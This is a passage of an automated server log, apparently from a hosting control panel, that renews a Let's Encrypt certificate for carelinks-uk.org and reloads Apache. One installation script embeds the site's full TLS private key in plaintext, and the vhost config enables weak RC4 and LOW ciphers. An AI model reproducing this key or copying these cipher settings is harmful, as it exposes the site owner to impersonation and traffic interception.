ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-10 06:00:56: Establishing a connection
2025-11-10 06:00:56: Establishing a connection
2025-11-10 06:00:56:
PUT: /tmp/pkp415480
#!/bin/bash
if [ -d "/var/www/carelinks-uk_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-10 06:00:56:
chmod 755 /tmp/pkp415480; /tmp/pkp415480; rm /tmp/pkp415480
2025-11-10 06:00:56:
1
2025-11-10 06:00:57: Establishing a connection
2025-11-10 06:00:57:
PUT: /tmp/pkp480084
#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cat > X2hK-Vef-fwezrhiPY_bnKUE_oiI0olZZ9PClsF3JfI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
X2hK-Vef-fwezrhiPY_bnKUE_oiI0olZZ9PClsF3JfI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 X2hK-Vef-fwezrhiPY_bnKUE_oiI0olZZ9PClsF3JfI
cat > LaTg7m08mBPKENxg6LcnN97fveyrPNn8gPb8zliQanc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LaTg7m08mBPKENxg6LcnN97fveyrPNn8gPb8zliQanc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LaTg7m08mBPKENxg6LcnN97fveyrPNn8gPb8zliQanc
2025-11-10 06:00:57:
chmod 755 /tmp/pkp480084; /tmp/pkp480084; rm /tmp/pkp480084
2025-11-10 06:00:57:
2025-11-10 06:01:07: Establishing a connection
2025-11-10 06:01:08:
PUT: /tmp/pkp676588
#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
rm X2hK-Vef-fwezrhiPY_bnKUE_oiI0olZZ9PClsF3JfI
rm LaTg7m08mBPKENxg6LcnN97fveyrPNn8gPb8zliQanc
2025-11-10 06:01:08:
chmod 755 /tmp/pkp676588; /tmp/pkp676588; rm /tmp/pkp676588
2025-11-10 06:01:08:
2025-11-10 06:01:08: Establishing a connection
2025-11-10 06:01:08:
PUT: /tmp/pkp432869
#!/bin/bash
temp_file=$(mktemp)
TARGET=50ea9c948624fd26b0aa34d6cc8b41c6.crt
cat > $temp_file <<'endmsg'
71:2a:e8:8a:37:6e:70:c3:7f:b5:28:8c:42:0d:5e:1d
-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBjU8/WDMLyEjm0Ra0fBMlkqvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEwMDUwMjM3WhcNMjYwMjA4MDUwMjM2WjAbMRkwFwYDVQQD
ExBjYXJlbGlua3MtdWsub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAqdN0upHC54gcTNnsIPb4aYMxDwAED3ORKv3uiv37CASHrcZY1Z5RWii7rVMu
DgfeCIqKVSBsTSA0ToidYuyT1nT8zNrsdts9JnecaacaedSvPP9HnGz8LFkl8PQi
Bilx5hIpQ666Aco8p+78bEFS8GGre3+U/7EmpIZWTsKl4bjfTU46QvHXj0+R6uxY
7vWAG+oRjpiVv4aSbJrGLOJvcj2OnO51noxDfdco/5SX1pZ0+Fqpd0sepJOMk0//
qIDX/G781SvmjmokF4zGGCGlkD5/NEziXsqa8eQ9SvA/zhJnOGOXUxyFup8Useis
L6+plpxzuPwMGbTtglY+FTq9IwIDAQABo4ICNzCCAjMwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBROzjmPRHJJSZkRDIBGg+buVKUURTAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy11ay5vcmeC
FHd3dy5jYXJlbGlua3MtdWsub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDguY3JsMIIBBQYK
KwYBBAHWeQIEAgSB9gSB8wDxAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp
6ynd+MMAAAGabFqWZQAABAMASDBGAiEAse8s6YLzYawtH9DSzkz2tVwR8WDPH6jS
n2EI/nQ/fBkCIQC9ZDcgaAHjJOuut1y3KklxUJXI1bybszUMNd7GSlTCsAB2AMs4
9xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmmxalpIAAAQDAEcwRQIg
RfpPyVKmpDg1nrDFJ0rFTskrG4G0nirwre9X/2mygB0CIQD+1FwBjPXP/chFDIbb
Ygqe1iqf4R7VPHQbwKfUJHDj3zANBgkqhkiG9w0BAQsFAAOCAQEAzXKRAv9IaB01
fR+jFpCeRjc5wp9K9zJbxDwQ45zc65PCRxvQSDArgs6aFcomdLr3Ud6igk5HU22X
2bHIEgPgMoMDLEQcLsBscVPscPRBWz7hzHutV8FDXuMf6vkkoW3hDtMDtrRfeT93
6DSuF9Nkgv1XwYFKqwF/P9HIb7YD5qKSZLmIBLZNdaoZZM5PC+SGOQAm/Jydhu5e
/yhzIC59hYKLYi9GOt5eL4pOaIYI+s/cvjsSXvVA/jjHFEK51qf4p8qw11TNhymS
cknPUW0gOG3K0xVBJEgGUkhY+iqa/yXVzbrob8AAkc/J3X2ER/eRk1CmCN9CP2H6
Fz4pjOATKg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCp03S6kcLniBxM
2ewg9vhpgzEPAAQPc5Eq/e6K/fsIBIetxljVnlFaKLutUy4OB94IiopVIGxNIDRO
iJ1i7JPWdPzM2ux22z0md5xppxp51K88/0ecbPwsWSXw9CIGKXHmEilDrroByjyn
7vxsQVLwYat7f5T/sSakhlZOwqXhuN9NTjpC8dePT5Hq7Fju9YAb6hGOmJW/hpJs
msYs4m9yPY6c7nWejEN91yj/lJfWlnT4Wql3Sx6kk4yTT/+ogNf8bvzVK+aOaiQX
jMYYIaWQPn80TOJeyprx5D1K8D/OEmc4Y5dTHIW6nxSx6Kwvr6mWnHO4/AwZtO2C
Vj4VOr0jAgMBAAECggEAciY6+MjO/Del5hY4vHOkx68yA4YcNJKWihJDC9Pprxr0
Y97FiViwD+z/MWKOu0mYeZ89mjh/81tpLTxwpbSlLmpWHhAtDzsQIFIXpYB3sFpA
K7zfUoqC+gA2G37Ne9zRvTaJ2/+O8XMRUEO4Eb/a0s6jqBA6g598fOv7CVeWjmBP
JqGljP8sgg/CBN2NNvGT5hyTL61huY6OpMN5a8EATpxricXvn9M0IeHLM9QapF9k
WKQsa0KuHS/bxaN2rZmL1KbO3EQeGI7//yewFiWOrMePwKsLHTrsfKgwA+I81PFZ
FA6j2wYP+YtGqIWypt5J6DW+c1x6o6srNCY9TPFjKQKBgQDiHfd0gH7H9mYJtjOi
mh00mKeGM898LrUjVAG/Ze3lygRBEH3r7gHbjSUyxSaO7AFH49qAAdHrisnjMX4r
gd1KETv5lNkEquh7jn351s/KPC/j7ZfuRIBvpc/6l987p41kydRGQs9Sw9nSDW0G
WIXdBOXTsxhtYyqBUYbHCbu0VQKBgQDARQpCCJnca5xHsICD3KjbZ+uOkSAE8nFk
kdddYkICfyxiGkDpJlntW+BHT81zQdjhjekL7C7qYIfXaWP9lJKci4WPsjAC+CXu
3VZUXbF8MWnlPLTfmSu5f/iv6GKQZyFTXZMZtK9Bb83XuAlUcSw5SW1E6RmCbwaz
fUxPSCzjlwKBgQDa5G2P73BL/UCMOEDGMPEC4KCT7wX1znV17LYAZhklsSnrHp73
zSEpO/r9qhMImnkm8fGsp5Zisal88YWVcpMZR5PKqYho11ZVffx/5q6itR8bQ/8n
HlNDQb4TdgAZjLr5DdUb60MueQAdMvgPA5Ua/8nI5YBJLI2SQKz7c3WtPQKBgFZ2
tcY8V/Tn77/Nf/3MnaMNeMEEQoH3BUdUzqUQKt80kaEMbWRr+sTjLFjlal8KnZ3R
U5wo+nAsOOqGWpEO31/G3qlgWHb9YRGqN8h42fgfwJ92TWDAYQlqo0t4FdsahcIX
sq88shObU9ZOzONMgbbBboIu0Wn2w+yzzD1bF9TBAoGBAJWlUAL9ka5st/XKcyt2
iL1yPP3cEvzz4gqcpku0TdnjF4rmCfYKD4OOsPWWGYWtDFObXIfpY8u4ClqG748g
zT+Hb1y0BI6AhobiIIo1p2TW570twGDy7w7wKPW1oO+6eDhYzXeMhrkL8cAIHDWJ
pbNQFr/1CUxIl63AS4WUmJ1X
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-10 06:01:08:
chmod 755 /tmp/pkp432869; /tmp/pkp432869; rm /tmp/pkp432869
2025-11-10 06:01:08:
dir=/etc/ssl/certs
2025-11-10 06:01:08:
PUT: /tmp/pkp315354
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinks-uk_www_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-10 06:01:08:
chmod 755 /tmp/pkp315354; /tmp/pkp315354; rm /tmp/pkp315354
2025-11-10 06:01:08:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks-uk_www_org.conf 44
<VirtualHost *:80>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_error.log
SetEnv pkp_uid 36
SetEnv pkp_owner carelinksuk
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-10 06:01:08:
PUT: /tmp/pkp176381
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks-uk_www_org.conf
TARGET=/etc/apache2/sites-enabled/carelinks-uk_www_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_error.log
SetEnv pkp_uid 36
SetEnv pkp_owner carelinksuk
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinks-uk_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks-uk_www_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks-uk_www_org.conf= 1'
fi
2025-11-10 06:01:08:
chmod 755 /tmp/pkp176381; /tmp/pkp176381; rm /tmp/pkp176381
2025-11-10 06:01:08:
2025-11-10 06:01:08:
PUT: /tmp/pkp802556
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-10 06:01:08:
chmod 755 /tmp/pkp802556; /tmp/pkp802556; rm /tmp/pkp802556
2025-11-10 06:01:08:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-10 06:01:08: Establishing a connection
2025-11-10 06:01:08:
PUT: /tmp/pkp395314
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-10 06:01:08:
chmod 755 /tmp/pkp395314; /tmp/pkp395314; rm /tmp/pkp395314
2025-11-10 06:01:08:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-10 06:01:08:
PUT: /tmp/pkp946957
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinks-uk_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-10 06:01:08:
chmod 755 /tmp/pkp946957; /tmp/pkp946957; rm /tmp/pkp946957
2025-11-10 06:01:08:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks-uk_www_org.conf 1415
<VirtualHost *:80>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_error.log
SetEnv pkp_uid 36
SetEnv pkp_owner carelinksuk
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
